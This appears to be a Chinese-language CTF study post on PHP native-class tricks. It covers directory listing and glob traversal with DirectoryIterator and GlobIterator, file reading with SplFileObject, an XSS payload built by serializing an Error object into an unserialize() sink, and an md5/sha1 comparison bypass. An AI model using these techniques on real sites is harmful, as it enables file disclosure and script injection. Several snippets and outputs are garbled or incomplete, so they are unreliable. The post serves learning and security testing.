该类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
因为Directorylterator类中存在一个魔术方法:__toString(),当执行到echo函数时,会自动触发该方法,输出指定目录里面经过排序之后的第一个文件名,举个例子:
$name=new DirectoryIterator("/");
echo $name;
因为这个类只会输出第一个文件名,所以很多时候都不会输出什么有用的信息,所以这里最好对$name对象进行遍历:
$dir=new DirectoryIterator("/");
foreach($dir as $tmp){
echo($tmp.'
');
}
在说下一个用法之前提一下glob协议,glob:// 用于 查找匹配的文件路径模式,用法类似于正则表达,类似于
$a = new Directorylterator("glob:///路径*.php")
之后就是配合该协议来寻找我们想要的文件路径:
$name = new DirectoryIterator("glob:///*php*");
echo $name;
也可以通过目录穿越,确定一直文件的具体路径:
$name = new DirectoryIterator("glob://./././flag.txt"); //目录穿越
echo $name;
Filesystemlterator类基本上和Directorlterator类一样,Filesystemlterator的用法也基本上和Directorlterator类相近,这两个类得关系是父类与子类得关系,用法依旧如下:
');
}
通过名字可以看出这个类自带glob协议,所以可以不用再使用glob协议了,像是
$a = new GlobIterator("/");
echo $a;
当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的
__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行),而且这个方法只能读一行,需要读取多行内容则需要对获取的对象进行遍历,构造payload的方法很简单,就是:
$a = new SplFileObject("./filename.php");
foreach($a as $temp){
echo ($temp."
");
}
但是有个前提,那就是需要有echo或者例如“.”的可以将其当作字符串进行操作的函数或语句。
由于Error类中有个__toString(),当对象被当作一个字符串进行使用时进行默认调用。而且我们能对Error类中的参数进行控制,所以可以利用标签来实现xss。其中,除了echo会触发这个魔术方法之外,还有file_exist()也会判断为触发。
例如一串代码:
$a = unserialize($_POST['value']);
echo $a;
想要通过这个代码进行xss,那么就可以通过构造payload来进行,新建一个脚本,写入如下代码:
$a = new Error("");
$b = urlencode(serialize($a));
echo $b;
之后将生成的payload通过post方式传入即可进行xss。
Error类可以传递两个参数,而其中,有个参数的不同则对象也不同,所以说这两个对象也就不相等,但是对于__toString()返回相同的md5和sha1加密后也相同,最后的数据也相同,所以可以利用这一点对md5()和sha1()进行绕过。
由于在Error类和Exception类中有__toString()魔术方法,可以用于将异常或错误对象转换为字符串,简单举个例子:
$a = new Error("null",1);$b = new Error("null",1);
if($a==$b)
{
echo '$a==$b';
}
最后得到的结果为
a = = a== a==b
这是一种情况,弱比较的情况,当遇到的是===或者!==呢?尝试下这个脚本:
$a = new Error("null",1);$b = new Error("null",1);
if($a!==$b && md5($a)===md5($b) && sha1($a)===sha1($b))
echo "Success!";
最后成功输出了“Success!”,所以,可以通过这种方式来试图绕过md5()和sha1()这两个函数。
不过,这里需要注意一点,那就是实例化这两个Error类时必须在同一行进行实例化,否则会出现因为行数不同而造成报错信息中的个别值不同,造成的比较之间的不同,另外,遇到$a !=== b 或者 b或者 b或者a != $b 这种情况,需要保证new Error(“null”,1)中的1的不同,否则无法绕过不等于这个比较。
由于剩下的两个内置类于我而言稍微困难了一点,所以等我先简单接触过ssrf和xxe这两个漏洞之后再进行接下来的学习。